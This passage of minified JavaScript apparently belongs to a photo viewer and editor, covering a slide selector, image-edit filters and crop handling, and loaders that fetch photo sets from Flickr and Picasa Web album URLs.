b=this.Uc;a.target&&QL(a.target.Xs)?(a.stopPropagation(),b=a.target.Xs):a.target&&IP(a.target,ij)?(a.stopPropagation(),b=this.Uc-1):a.target&&IP(a.target,jj)&&(a.stopPropagation(),b=this.Uc+1);a=this.Uc;b!=a&&(a=0<b-a?1:-1,this.Vo(b),this.dispatchEvent(new V4(Ru,b,a)))}}; x.Vo=function(a,b){if(0<=a&&a<this.ea.length){var d=this.iB(),e=this.Uc;this.Uc=a;var f=this.iB();this.Zg&&(this.Zg.stop(!0),this.Zg=null);this.Tc[e].select(!1);this.Tc[this.Uc].select(!0);this.by();b?(Y4&&(this.L().$(this.Yb,YK,this.To),this.Yb.style[me]=c),this.Uo(f,this.Yb)):this.F0(d,f)}}; x.F0=function(a,b){var d=[a,0],e=[b,0];this.aZ=a>b?1:-1;this.at=[a,b];var f=Math.ceil(Math.abs(a-b)/53),f=Math.min(Math.max(35*f,200),400);Y4?(this.Yb.style[me]=f+wE,this.L().$(this.Yb,YK,this.To).j(this.Yb,YK,this.To),this.Uo(b,this.Yb)):(this.Zg=new qZ(d,e,f,W4),this.Zg.addEventListener(nw,this.bX),this.Zg.addEventListener(Nz,this.aX),this.Zg.play())};x.GM=function(a){a=1==this.aZ?OO(Math.ceil(a.x),this.at[1],this.at[0]):OO(Math.floor(a.x),this.at[0],this.at[1]);this.Uo(a,this.Yb)}; x.C3=function(a){this.GM(a);this.Zg=null;this.dispatchEvent(new V4(Su,this.Uc))};x.To=function(a){this.L().$(this.Yb,YK,this.To);this.dispatchEvent(new V4(Su,this.Uc));a.stopPropagation()};x.setVisible=function(a){U(this.b(),a);a&&this.Gg()};var Z4=function(a,b,d,e,f){this.G7=a;this.Wu=b;this.Vu=d;this.Kb=e;this.Mj=f};x=Z4.prototype;x.Qg=function(){return this.Vu};x.getKey=function(){return this.Wu};x.getName=function(){return this.Kb};x.Faa=function(){var a=new this.G7(this.Wu,this.Vu,this.Kb,this.Mj);this.bv&&I(this.bv,function(b){a.y8(b.clone())});return a};x.y8=function(a){this.bv||(this.bv=[]);this.bv.push(a)};var $4=function(a,b,d,e){N.call(this);this.Wu=a;this.Vu=b;this.Kb=d;this.R9=e||Ke};E($4,N);var a5=function(a,b,d,e,f){a.IR||(a.IR=new Z4(a,b,d,e,f));return a.IR};x=$4.prototype;x.Nx=function(){return!0};x.Qg=function(){return this.Vu};x.v=function(){return VL(this)};x.getKey=function(){return this.Wu};x.getName=function(){return this.Kb};x.D=function(){return this.Kia||this.R9};x.Dc=function(a){this.Mj!=a&&(this.Mj=a,this.dispatchEvent(Hx));return this}; x.toString=function(){return this.getKey()+ph+this.D()};var b5=function(a,b,d,e){$4.call(this,a,b,d,e)};E(b5,$4);var c5=function(a,b,d,e){$4.call(this,a,b,d,e)};E(c5,$4);var d5=function(a,b,d,e){$4.call(this,a,b,d,e)};E(d5,$4);var e5=function(a,b,d,e){$4.call(this,a,b,d,e)};E(e5,$4);var f5=function(a,b,d,e){$4.call(this,a,b,d,e)};E(f5,$4);var g5=function(a,b,d,e){$4.call(this,a,b,d,e)};E(g5,$4);var h5=function(a){this.Rda=a};E(h5,$Z);h5.prototype.$E=function(){this.Rda.register(a5(f5,Ol,qA,Nl)).register(a5(g5,Kq,sA,Kq)).register(a5(e5,Oz,rA,mo)).register(a5(d5,px,oA,ui)).register(a5(b5,Gw,mA,fi)).register(a5(c5,Iw,nA,gi))};h5.prototype.$E.E0=!0;h5.prototype.$E.WE=!0;var i5=function(){N.call(this);this.Nh=[];this.Xu=[];this.NE=c;this.KP=[];this.YE={};g_(this);this.kt.$E()};E(i5,N);a_(h5,i5);x=i5.prototype;x.register=function(a){if(this.YE[a.getKey()])return this;this.KP.push(a);this.YE[a.getKey()]=a;return this};x.Vw=function(){return this.KP};x.Zc=function(a){this.Nh=[];this.NE=a;a=a.replace(/;+$/,c);I(a.split(qf),function(a){a=a.split(ph);(a=this.wp(a[0],a[1]))&&this.add(a)},this)}; x.wp=function(a,b){if(a){var d=this.Daa(a);if(d)return d=d.Faa(),void 0!=b&&d.Dc(b),d}return null};x.Daa=function(a){return this.YE[a]};x.EO=function(){return 20>this.Nh.length};x.add=function(a){this.EO()&&(this.Nh.push(a),this.dispatchEvent(Gx))};x.Q$=function(){this.Xu=[]};x.reset=function(a){this.Zc(a);this.Xu=[];this.dispatchEvent(Gx)};x.L9=function(){this.NE=this.toString()};x.qaa=function(){return this.NE!=this.toString()}; x.remove=function(a){OL(a)?I(a,function(a){this.XR(a)},this):this.XR(a);this.dispatchEvent(Gx)};x.XR=function(a){var b=A(a)?a:a.v();eN(this.Nh,function(a){return a.v()==b})};x.Ax=function(){var a=this.Nh.pop();a&&this.Xu.push(a);this.dispatchEvent(Gx);return!this.Nh.length};x.fba=function(a){return $M(this.Nh,function(b){return b instanceof a.constructor&&b!=a})};x.MD=function(){return[PM(this.Nh)||null,PM(this.Xu)||null]};x.toString=function(){return UM(this.Nh,function(a){return a.toString()}).join(qf)};var j5=function(a,b,d,e){$4.call(this,a,b,d,e)};E(j5,$4);var k5=function(a){if(!a)return!1;a=a.replace(Le,c);return/^[0-9a-fA-F]*$/.test(a)};x=j5.prototype;x.Dc=function(a){function b(a){return parseInt(d.substr(4*a,4),16)/65535}a=String(a);if(!k5(a))throw Error(i2("Unexpected encoded crop string: %s",a));var d=a.replace(Le,c),d=AM(l,Math.max(0,16-d.length))+d;a=b(0);var e=b(1);this.rc=new KR(a,e,b(2)-a,b(3)-e);return this}; x.D=function(){function a(a){a=parseInt(65535*a,10).toString(16);return AM(l,Math.max(0,4-a.length))+a}var b=[a(this.rc.left),a(this.rc.top),a(this.rc.left+this.rc.width),a(this.rc.top+this.rc.height)].join(c),b=b.replace(/^0+/,c);return Le+b};x.Gp=function(){return this.rc};x.Q0=function(){return this.l8.clone()}; x.sY=function(a,b,d){this.l8=a;b=b.lb();this.rc=new KR(a.left/b.width,a.top/b.height,a.width/b.width,a.height/b.height);d&&(a=d.Gp(),a.lb().isEmpty()||(this.rc.left=this.rc.left*a.width+a.left,this.rc.top=this.rc.top*a.height+a.top,this.rc.width*=a.width,this.rc.height*=a.height));this.dispatchEvent(Hx)};x.Nx=function(){return!!(this.rc&&0<this.rc.width&&0<this.rc.height)};var l5=function(a,b){IZ.call(this,b);this.U_=a||qy};E(l5,IZ);l5.prototype.C=function(){l5.c.C.call(this);this.Ca(this.b())};l5.prototype.Ca=function(a){var b=this.q();M(a,this.U_);this.vp=b.C(m,zz);this.up=b.C(m,yz);this.sp=b.C(m,wz);this.tp=b.C(m,xz);b.appendChild(a,this.vp);b.appendChild(a,this.up);b.appendChild(a,this.sp);b.appendChild(a,this.tp)}; l5.prototype.qb=function(a,b,d,e,f){this.vp.style.top=0;this.vp.style.left=0;this.vp.style.right=0;this.vp.style.bottom=f.height-b+rH;this.sp.style.top=e+b+rH;this.sp.style.left=0;this.sp.style.right=0;this.sp.style.bottom=0;this.up.style.top=b+rH;this.up.style.left=a+d+rH;this.up.style.right=0;this.up.style.height=e+rH;this.tp.style.top=b+rH;this.tp.style.left=0;this.tp.style.right=f.width-a+rH;this.tp.style.height=e+rH};l5.prototype.reset=function(){this.qb(0,0,0,0,new AP(0,0))};var m5=function(a,b){IZ.call(this,b);this.wo=a};E(m5,IZ);m5.prototype.C=function(){m5.c.C.call(this);this.Ca(this.b())};m5.prototype.cancel=function(){U(this.b(),!1)};m5.prototype.Yo=function(){};m5.prototype.show=function(a,b,d){this.wa()?U(this.b(),!0):this.render(a);this.$k(d);this.ni=b};var n5=function(a,b){m5.call(this,a,b);this.JI=new l5(ry,b)};E(n5,m5);x=n5.prototype; x.Ca=function(a){n5.c.Ca.call(this,a);var b=this.q();M(a,tz);this.JI.render(a);this.mb=b.C(m,uz);this.ds=b.C(m,Cz);this.Ao=b.C(m,Az);this.cs=b.C(m,Bz);this.zo=b.C(m,vz);this.fs=b.C(m,Ez);this.Bo=b.C(m,Dz);this.gs=b.C(m,Fz);this.Co=b.C(m,Gz);this.tH=[this.ds,this.Ao,this.cs,this.zo,this.fs,this.Bo,this.gs,this.Co];b.appendChild(a,this.mb);b.appendChild(a,this.Ao);b.appendChild(a,this.zo);b.appendChild(a,this.Bo);b.appendChild(a,this.Co);b.appendChild(a,this.ds);b.appendChild(a,this.cs);b.appendChild(a, this.fs);b.appendChild(a,this.gs)}; x.R=function(){n5.c.R.call(this);var a=this.L();a.j(this.mb,nE,function(a){if(a.ci(0)){a.stopPropagation();a.preventDefault();var b=new S2(this.mb,void 0,this.YH(!0));b.addEventListener(jz,C(this.fU,this));b.addEventListener(Nz,C(this.dU,this,b));b.ir(a)}});I(this.tH,function(b){a.j(b,nE,function(a){if(a.ci(0)){a.stopPropagation();a.preventDefault();var f=new S2(b,void 0,this.YH());f.addEventListener(jz,C(this.gU,this));f.addEventListener(Nz,C(this.eU,this,f));f.ir(a)}})},this);var b=this.q().Pc(); a.j(b,[nE,oE],this.cU).j(b,rE,function(){delete this.al})};x.reset=function(){fS(this.mb,0,0);this.dm();this.MA(!1);this.Yo()};x.show=function(a,b,d){n5.c.show.call(this,a,b,d);U(this.mb,this.wa());this.MA(!0);this.dm()}; x.Yo=function(){n5.c.Yo.call(this);var a=TR(this.mb),b=hS(this.mb),d=this.Wg,e=this.wo.F().lb().width/this.ni.width,f=Math.floor(a.x*e),a=Math.floor(a.y*e),g=Math.min(this.ni.width,Math.floor(b.width*e)),b=Math.min(this.ni.height,Math.floor(b.height*e));d.sY(new KR(f,a,g,b),this.wo.F(),this.wo.rY(d))}; x.dm=function(){var a=TR(this.mb),b=hS(this.mb),d=a.x+b.width-3,e=a.x,f=a.y+b.height-3,g=a.y;SR(this.ds,e,g);SR(this.Ao,a.x,g);fS(this.Ao,b.width,3);SR(this.cs,d,g);SR(this.zo,d,a.y);fS(this.zo,3,b.height);SR(this.fs,d,f);SR(this.Bo,a.x,f);fS(this.Bo,b.width,3);SR(this.gs,e,f);SR(this.Co,e,a.y);fS(this.Co,3,b.height);this.JI.qb(a.x,a.y,b.width,b.height,this.ni)}; x.cU=function(a){if(a.ci(0))if(this.al){var b=this.al.x,d=this.al.y,e=Math.min(this.ni.width-b-3,Math.max(a.clientX-this.Zs.x-b-3,8)),f=Math.min(this.ni.height-d-3,Math.max(a.clientY-this.Zs.y-d-3,8));SR(this.mb,b,d);fS(this.mb,e,f);U(this.mb,!0);this.FJ(b,d,e,f);a.preventDefault();a.stopPropagation()}else a.type==nE&&(this.Zs=bS(this.b()),this.al=new yP(a.clientX-this.Zs.x,a.clientY-this.Zs.y),a.preventDefault(),a.stopPropagation())};x.dU=function(a){this.dm();a.Q()}; x.eU=function(a){this.dm();a.Q();delete this.al};x.YH=function(a){var b=0,d=0;a&&(a=hS(this.mb),b=-a.width,d=-a.height);return new KR(0,0,this.ni.width+b-3,this.ni.height+d-3)}; x.gU=function(a){a=a.U5.target;var b=TR(a),d=TR(this.mb),e=hS(this.mb),f=e.width,g=e.height;a===this.fs?(f=b.x-d.x,g=b.y-d.y):a===this.zo?f=b.x-d.x:a===this.Bo?g=b.y-d.y:a===this.gs?(f=d.x+e.width-b.x-3,g=b.y-d.y,d.x=b.x+3,8<f&&(this.mb.style.backgroundPositionX=-d.x+rH)):a===this.Co?(f=d.x+e.width-b.x-3,d.x=b.x+3,8<f&&(this.mb.style.backgroundPositionX=-d.x+rH)):a===this.ds?(f=d.x+e.width-b.x-3,g=d.y+e.height-b.y-3,d.x=b.x+3,d.y=b.y+3,8<g&&8<f&&(this.mb.style.backgroundPositionY=-d.y+rH,this.mb.style.backgroundPositionX= -d.x+rH)):a===this.cs?(g=d.y+e.height-b.y-3,f=b.x-d.x,d.y=b.y+3,8<g&&(this.mb.style.backgroundPositionY=-d.y+rH)):a===this.Ao&&(g=d.y+e.height-b.y-3,d.y=b.y+3,8<g&&(this.mb.style.backgroundPositionY=-d.y+rH));8>f&&(f=8,d.x=TR(this.mb).x);8>g&&(g=8,d.y=TR(this.mb).y);this.FJ(d.x,d.y,f,g)};x.cancel=function(){n5.c.cancel.call(this);U(this.mb,!1);this.MA(!1);delete this.al};x.MA=function(a){I(this.tH,function(b){U(b,a)},this)};x.FJ=function(a,b,d,e){SR(this.mb,a,b);fS(this.mb,d,e);this.dm();this.Yo()}; x.fU=function(){this.dm();this.Yo()};var o5=function(a,b,d){IZ.call(this,d);this.wo=a;this.BT=b||y;a=this.q();b=i0.Ja();this.Iq=new f0(qs,b,a);this.ta(this.Iq);this.Tk=new f0(Bq,b,a);this.ta(this.Tk);this.Xd=new f0(fl,b,a);this.ta(this.Xd)};E(o5,IZ);x=o5.prototype;x.C=function(){o5.c.C.call(this);this.Ca(this.b())}; x.Ca=function(a){var b=this.q();M(a,HA);this.message=b.C(m,GA);b.appendChild(a,this.message);var d=b.C(m,IA),e=b.C(m,JA),f=b.C(m,JA),g=b.C(m,JA);this.Iq.render(e);this.Tk.render(f);this.Xd.render(g);M(this.Iq.b(),uA);M(this.Tk.b(),uA);M(this.Xd.b(),uA);b.appendChild(d,e);b.appendChild(d,f);b.appendChild(d,g);b.appendChild(a,d)};x.R=function(){o5.c.R.call(this);this.L().j(this.Iq,Yv,this.reset).j(this.Tk,Yv,this.accept).j(this.Xd,Yv,this.cancel)};x.cancel=function(){this.Jh()}; x.Jh=function(){this.setActive(!1,this.Wg)};x.reset=function(){};x.accept=function(){this.wo.pL(this.Wg);this.Jh()};x.setActive=function(a,b){JP(this.b(),$v,a);this.$k(b);if(b){var d=this.L();a?(this.Tk.Gb(b.Nx()),d.j(b,Hx,this.vr)):d.$(b,Hx,this.vr)}a||this.BT(b)};x.vr=function(){var a=this.Wg;a&&this.Tk.Gb(a.Nx())};x.fea=function(a){this.q().Wb(this.message,a)};var p5=function(a,b,d,e){o5.call(this,a,d,e);this.eM=b};E(p5,o5);x=p5.prototype;x.cancel=function(){this.eM.cancel();p5.c.cancel.call(this)};x.reset=function(){this.eM.reset();p5.c.reset.call(this)};x.setActive=function(a,b,d){p5.c.setActive.call(this,a,b,d);a&&this.HL(new KR(0,0,0,0))};x.vr=function(a){p5.c.vr.call(this,a);a=this.Wg.Q0();this.HL(a)};x.HL=function(a){this.fea(bL+(a.width+(Oc+a.height)))};var q5=function(a,b,d){IZ.call(this,b);this.B=a;this.Yh=[];this.CH={};this.Ww={};this.lT=!!d};E(q5,IZ);x=q5.prototype;x.C=function(){q5.c.C.call(this);this.Ca(this.b())}; x.Ca=function(a){var b=this.q(),d=i0.Ja();M(a,DA);this.Hn=b.C(m,EA);this.ur=b.C(m,FA);b.appendChild(a,this.Hn);b.appendChild(a,this.ur);var e=b.C(m,AA),f=b.C(m,BA),g=b.C(m,CA);b.appendChild(e,f);b.appendChild(e,g);b.appendChild(this.Hn,e);var k=!0;I(this.B.Vw(),function(a){var p=b.C(m,a.Qg()),q=b.C(m,xA);q.innerHTML=a.getName();var X=b.C(m,tA);b.appendChild(X,p);b.appendChild(X,q);p=new f0(X,d,b);p.Dc(a.getKey());p.render(k?f:g);k=!k;M(p.b(),wA);(a=this.Ww[p.D()])&&a.render(e);this.Yh.push(p)},this); a=b.C(m,XI);b.appendChild(this.Hn,a);this.lT&&(this.Xv=new f0(Bm,d,b),this.Xv.render(a));this.fj=new f0(this.B.mT(),d,b);this.fj.render(a);M(this.fj.b(),yA);this.Wv=new f0(sm,d,b);this.Wv.render(a);M(this.Wv.b(),vA);this.B.nT(this.Yh,this.fj,null);this.B.EH();a=new n5(this.B,b);var p=new p5(this.B,a,C(this.Uw,this,!0),b),q=a5(j5,sy,pA,Ml,Le).getKey();this.CH[q]=a;this.Ww[q]=p;p.render(this.ur);this.Uw(!0)};x.A=function(){q5.c.A.call(this);I(this.Yh,function(a){a.Q()},this);bN(this.Yh)}; x.R=function(){q5.c.R.call(this);var a=this.L();I(this.Yh,function(b){a.j(b,Yv,this.aV)},this);a.j(this.fj,Yv,C(function(){this.B.Ax()},this)).j(this.Wv,Yv,C(this.B.bV,this.B));this.Xv&&a.j(this.Xv,Yv,C(this.B.$U,this.B))};x.XV=function(a){this.B.reset(!1,a)};x.kk=function(a){this.B.cr(a)}; x.Uw=function(a,b){var d=!a,e=b&&this.CH[b.getKey()],f=b&&this.Ww[b.getKey()],g=!!e&&!!f,k=this.B.cr(d),p=new r5(fv,f,d);if(a||d&&!g)return U(this.Hn,!0),U(this.ur,!1),e&&e.cancel(),this.dispatchEvent(p),!1;U(this.Hn,!1);U(this.ur,!0);d&&b&&k&&(d=hS(k),f.setActive(!0,b),e.show(k,d,b));this.dispatchEvent(p);return!0};x.aV=function(a){if(a=a.target.D())a=this.B.wp(a),this.Uw(!1,a)||(this.B.pL(a),this.B.oL(a,!0))};var r5=function(a,b,d){L.call(this,a);this.FG=!(!b||!d)};E(r5,L);var s5=new jR("pixy");new S(s5,1);var t5=new S(s5,2),u5=new S(s5,3),v5=new S(s5,4),w5=new S(s5,5),x5=new S(s5,6),y5=new S(s5,7),z5=new S(s5,8),A5=new S(s5,9),B5=new S(s5,10),C5=new S(s5,11),D5=new S(s5,12),E5=new S(s5,13),F5=new S(s5,14),G5=new S(s5,15),H5=new S(s5,16),I5=new S(s5,17),J5={autocolor:t5,autolight:v5,bw:x5,CrossProcess:z5,enhance:B5,warm:D5,crop64:F5,Orton:H5},K5={autocolor:u5,autolight:w5,bw:y5,CrossProcess:A5,enhance:C5,warm:E5,crop64:G5,Orton:I5};var L5=function(a,b,d,e,f,g){this.Rd=a;this.I9=b;this.x9=C(function(a){a(this.Rd.toString())},this,d);this.K9=e;this.WM=C(function(a,b,d){a(this.yt(),b,C(function(a){this.Rd.L9();a()},this,d||y))},this,f);this.QE=g||null};x=L5.prototype;x.mT=function(a){return z(a)?ou+a:nu};x.cr=function(a){return this.I9(a)};x.TE=function(){this.x9();this.EH()};x.rY=function(a){return this.Rd.fba(a)};x.F=function(){return this.K9()};x.bV=function(){this.WM(!0);this.F()}; x.oL=function(a,b){a&&(b?J5[a.getKey()]:K5[a.getKey()])&&this.F()};x.$U=function(){this.QE&&(this.Rd.qaa()?this.WM(!1,C(this.QE,this)):this.QE())};x.pL=function(a){a&&(a=A(a)?this.wp(a):a,this.Rd.add(a),this.Rd.Q$());this.TE()};x.Vw=function(){return this.Rd.Vw()};x.wp=function(a){return this.Rd.wp(a)};x.nT=function(a,b,d){this.Yh=a;this.fj=b;this.QO=d};x.EH=function(){if(this.Yh){var a=this.Rd.EO();I(this.Yh,function(b){b.Gb(a)},this)}var b=this.Rd.MD();this.fj&&this.fj.Gb(!!b[0]);this.QO&&this.QO.Gb(!!b[1])}; x.Ax=function(){var a=this.Rd.MD();this.Rd.Ax();this.oL(a[0],!1);this.TE()};x.reset=function(a,b){this.Rd.reset(b);a&&this.TE()};x.yt=function(){return this.Rd.toString()};var M5=function(a,b,d){z1.call(this,new uU(a));this.tc(1);var e=new i5;b=new L5(e,b,d,C(function(){return this.p},this),C(this.DY,this),C(this.CY,this));this.Dg=xS(a).X(FG)?null:new q5(b,this.q(),!1);this.ib=a.get(IQ)};E(M5,z1);x=M5.prototype;x.ya=function(){M5.c.ya.call(this);var a=this.Z.b();this.Dg&&(a.className=pj,this.Dg.render(a))};x.A=function(){K(this.Dg);M5.c.A.call(this)};x.R=function(){M5.c.R.call(this);this.Dg&&this.L().j(this.Dg,fv,function(a){this.dispatchEvent(a)})}; x.kk=function(a){this.Dg&&this.Dg.kk(a)};x.DY=function(a,b,d){this.p.sL(a,b,d)};x.Ka=function(a){this.p=a;a=a.Xa();this.L().$(a,Vo,this.Dj).j(a,Vo,this.Dj);this.Dg&&this.Dg.XV(this.p.F().Ej()||c)};x.Dj=function(){};x.CY=function(){this.p&&this.p.dispatchEvent(wm)};var N5=function(a,b,d,e,f,g){N.call(this);this.qI=a;this.Pa=b;this.Nd=d;this.JW=e;this.Ac=this.Pa.length;this.Zc=g||null;this.fa=new LQ(this);this.AL=f&&1==this.Pa.length};E(N5,N);x=N5.prototype;x.A=function(){I(this.JW.mc(),function(a){a.Q()},this);I(this.Pa,function(a){a.Q()},this);K(this.fa);N5.c.A.call(this)};x.to=function(){var a=this.Pa[0].getContainer();a&&(this.fa.j(this.qI,mJ,this.M0),a.to())}; x.M0=function(a){a=a.Q1;this.Zc&&I(a,function(a){a.SJ(this.Zc)},this);if(this.AL){var b=this.Pa.pop();I(a,function(a){var e=a.v();this.Nd.set(e,[this.Pa.length]);b.v()==e&&this.tK(b)?this.Pa.push(b):this.Pa.push(a)},this);ZM(a,function(a){return a.v()==b.v()},this)?(this.Ac+=a.length-1,this.AL=!1):(this.Nd.set(b.v(),[this.Pa.length]),this.Pa.push(b),this.Ac+=a.length)}else this.R1(a);this.dispatchEvent(Qb)}; x.R1=function(a){I(a,function(a){var d=a.v(),e=a.Sr();this.Nd.od(d)||this.Nd.od(e)?(d=this.Nd.get(d)||this.Nd.get(e),I(d,function(d){var e=this.Pa[d];e&&!this.tK(e)&&(this.Pa[d]=a,a.F().sb(e.F().getUrl()))},this)):(this.Nd.set(d,[this.Pa.length]),this.Pa.push(a),++this.Ac)},this)};x.tK=function(a){return a.hba()||a.Gd};x.F=function(a){return this.Pa[a]};x.g1=function(a){return(a=this.Nd.get(a.v())||this.Nd.get(a.Sr()))&&a.length?a[0]:-1};x.Ka=function(a,b){this.Pa[b]=a}; x.Q2=function(a){a.v();var b=this.Pa.length;this.Nd.set(a.v(),[b]);this.Pa.push(a);this.Ac++;return b};x.k0=function(a){var b=RM(this.Pa,a),d=[];-1!=b&&(TO(this.Nd.Z6(),function(a){var f=this.Nd.get(a)[0];f==b?d.push(a):f>b&&this.Nd.set(a,[f-1])},this),I(d,function(a){this.Nd.remove(a)},this),cN(this.Pa,b),this.Ac--);return b};var O5=function(a,b,d){O3.call(this,a,b,d);this.gc=this.vl()};E(O5,O3);O5.prototype.bk=4;O5.prototype.Se=0;var P5=/http:\/\/(?:www.)?flickr.com\/photos\/([\d\w@]+)\/sets\/([\d]+)\/?/i;x=O5.prototype;x.Q=function(){this.Do&&PQ(this.Do);O5.c.Q.call(this)};x.vl=function(){var a=this.getUrl();return P5.test(a)?(a=P5.exec(a),this.ua=a[1],this.getContainer().kc(a[2]),!0):!1};x.au=function(a,b){var d=new xR;d.add(OK,qn).add(kK,this.ua).add(CI,this.v()).add(YF,a).add(aE,b);return d}; x.to=function(){this.rp(0,250)};x.rp=function(a,b){if(this.gc&&!(0>=this.bk||this.Gd)){var d=new b4(this.au(a,b));this.Gd=!0;this.bk--;this.L().Qc(d,rI,this.QB);d.send(this.ml)}}; x.QB=function(a){this.Gd=!1;var b=a.target;a=0;if(!b.getError()){b=b.ab();a=Math.min(1E3,b.CA());this.lt(a);var d=b.Ai(),b=this.Se;this.Se+=d.length;var e=this.Xa(),f=eC+this.ua+se,g=Ce+this.v(),d=UM(d,function(a){var b=a.toArray();a.getUrl()||(a=f+a.v()+g,b[6]=a);return new y1(e,this.getContext(),b,fw,this,!0)},this);this.dispatchEvent(new P3(mJ,this,d,b,a));0<this.bk&&this.Se<a&&(this.Do=OQ(C(this.rp,this,this.Se,250),1E4,this))}};var Q5=function(a,b,d,e){O3.call(this,a,b,d);this.gc=e&&this.xx(e)||this.vl();this.S=xS(b);this.sK=this.gc&&this.S.X(DG)&&this.S.X(EG);this.rK=this.gc&&this.S.X(Dx)&&this.S.X(EG);this.lr=(this.sK||this.rK)&&this.S.X(xw);this.Wk=this.S.X(hH);this.EZ=this.S.X(wH);this.ux=[]};E(Q5,O3);x=Q5.prototype;x.bk=1;x.Se=0;x.Q=function(){this.Do&&PQ(this.Do);for(var a=0;a<this.ux.length;a++)K(this.ux[a]);Q5.c.Q.call(this)}; x.xx=function(a){var b=a.Ne(),d=a.em();a=a.mM();return eM(b)||eM(d)?!1:(this.ua=b,this.getContainer().kc(d),eM(a)||this.getContainer().zC(a),!0)};x.vl=function(){var a=new R5(this.getUrl()||c);return a.Ab()?(this.ua=a.Jo(),this.getContainer().d6(a.$l()),this.getContainer().zC(a.Fi()),!0):!1}; x.au=function(a,b){var d=new xR;d.add(OK,this.Wk?fr:gr).add(kK,this.ua).add(YF,a).add(aE,b);this.v()&&this.EZ?d.add(gw,this.v()):d.add(kw,this.$l());this.rK?(d.add(MH,!0),this.lr&&d.add(lA,!0)):this.sK&&(d.add(NH,!0),this.lr&&d.add(lA,!0));(this.S.Ij||this.S.FA)&&d.add(LH,!0);this.Fi()&&d.add(Ew,this.Fi());return d};x.to=function(){this.rp(0,250)};x.rp=function(a,b){if(this.gc&&!(0>=this.bk||this.Gd)){var d=this.Wk?new q4(this.au(a,b)):new b4(this.au(a,b));this.Gd=!0;this.L().Qc(d,rI,this.QB);d.send(this.ml)}}; x.zB=function(a){var b=new xR;b.add(Yv,Pq);b.add(kK,this.ua);b.add(gw,this.getContainer().v());b.add(EI,a);b=new b4(b,!0);this.L().Qc(b,rI,C(this.V_,this,a));b.send(this.ml)};x.V_=function(a,b){b.target.getError()?this.getContext().get(IQ).Bb(UZ(e4(),0)):this.getContainer().zB(a)}; x.QB=function(a){this.Gd=!1;var b=a.target;a=0;if(!b.getError()){b=b.ab();a=b.CA();this.lt(a);var d,e=null;this.Wk&&(b=new O0(b.XI()[0].toArray()),this.bs(b.getContainer()),e=b.cf());d=b.Ai();b=this.Se;this.Se+=d.length;var f=this.Xa(),g=this.Fi(),k=iC+this.ua+se+this.$l();d=UM(d,function(a){e&&a.ky(e);var b=a.toArray();if(!a.getUrl()){var d=k;g&&(d+=th+g);b[6]=d+Jb+a.v()}a=this.qh(f,this.getContext(),b,fw,this);this.ux.push(a);return a},this);this.dispatchEvent(new P3(mJ,this,d,b,a));this.bk=Math.ceil((a- this.Se)/250);0<this.bk&&this.Se<a&&(this.Do=OQ(C(this.rp,this,this.Se,250),1E3,this))}};x.qh=function(a,b,d,e,f,g){return new y1(a,b,d,e,f,g)};var R5=function(a){if(this.oe=S5.test(a))a=S5.exec(a),this.rM=a[1],this.ua=a[2],this.E6=a[3],this.Jc=a[4]};R5.prototype.Ab=function(){return this.oe};R5.prototype.Jo=function(){return this.ua};R5.prototype.$l=function(){return this.E6};R5.prototype.Fi=function(){return this.Jc};var S5=/(https?:\/\/(?:www\.)?(?:(?:picasaweb)|(?:lighthouse-dev2\.corp)|(?:dev2-lighthouse\.sandbox)|(?:[\d\w\.]+\.corp))\.(?:google\.)?com(?:\:[\d]+)?\/([\d\w\.]{4,})\/([\d\w_\-\.]+)(?:\?[\w\d\-_=&amp;;\.]*&?authKey=([\w\d\-_=;\.]+))?)(?:#([\d]+)?)?/im;var T5=function(a,b,d){this.pa=a;this.Zv=b;this.EB=d||null};x=T5.prototype; x.aW=function(){var a=new N,b=new VO,d=new VO,e=[];I(this.Zv,C(function(f,g){var k=null,p=null,q=null;I(f.gB,function(a){switch(a.kg){case fC:p=a;break;case hC:q=a;break;case gC:k=a}});var t=q?q.D():c,B=new o4(t),F=U5(B,k),t=V5(F,B,p,f.getUrl()),X=this.h2(a,this.pa,F,B,t,b)||void 0,R=z4(f),t=R[0];d.od(t)?(t=d.get(t),B=e[t[0]],t.push(g)):(B=F==RG?this.qh(a,this.pa,R,lH,X,!1,B):F==MA?this.qh(a,this.pa,R,lH,X,!0):this.qh(a,this.pa,R),this.EB&&B.SJ(this.EB),F=[g],d.set(B.Sr(),F),d.set(t,F));e.push(B)}, this));return this.g2(a,e,d,b,this.EB||void 0)};x.qh=function(a,b,d,e,f,g,k){return H(b.get(AE)).qh(a,b,d,e,f,g,k)};x.b3=function(a,b,d,e){return new Q5(a,b,d,e)};x.g2=function(a,b,d,e,f){var g=xS(this.pa).X(TI);return new N5(a,b,d,e,g,f)};x.h2=function(a,b,d,e,f,g){var k=null,p=e.Ab()?e.em():void 0,q=[];q[5]=f;p&&(q[0]=p);f=p?p:f;g.od(f)?k=g.get(f):d==RG?(k=this.b3(a,b,q,e),g.set(f,k)):d==MA&&(k=new O5(a,b,q),g.set(k.v(),k));return k}; var U5=function(a,b){return a.Ab()&&a.Tt()?a.N3():b?b.D():oK},V5=function(a,b,d,e){d=d&&d.D()?d.D():c;if(a!=RG)return d;a=null;if(b.Ab()&&b.Tt()&&(a=new R5(b.Tt()),a.Ab()))return a.rM;if(d)return d;if(!a||!a.Ab())if(a=new R5(e),a.Ab())return a.rM;return c};var W5=function(a,b){N.call(this);this.N=a;var d=eQ(this.N)?this.N:this.N?this.N.body:null;this.u4=!!d&&YR(d);this.AJ=CO(this.N,DN?Yl:sE,this,b)};E(W5,N); W5.prototype.handleEvent=function(a){var b=0,d=0,e=0;a=a.pc;if(a.type==sE){d=1;if(J||EN&&(wN||SN(cf)))d=40;e=X5(-a.wheelDelta,d);z(a.wheelDeltaX)?(b=X5(-a.wheelDeltaX,d),d=X5(-a.wheelDeltaY,d)):d=e}else e=a.detail,100<e?e=3:-100>e&&(e=-3),z(a.axis)&&a.axis===a.HORIZONTAL_AXIS?b=e:d=e;QL(this.lQ)&&(b=OO(b,-this.lQ,this.lQ));QL(this.mQ)&&(d=OO(d,-this.mQ,this.mQ));this.u4&&(b=-b);b=new Y5(e,a,b,d);this.dispatchEvent(b)};var X5=function(a,b){return EN&&(vN||xN)&&0!=a%b?a:a/b}; W5.prototype.A=function(){W5.c.A.call(this);KO(this.AJ);this.AJ=null};var Y5=function(a,b,d,e){eO.call(this,b);this.type=sE;this.detail=a;this.Dk=d;this.Ti=e};E(Y5,eO);var 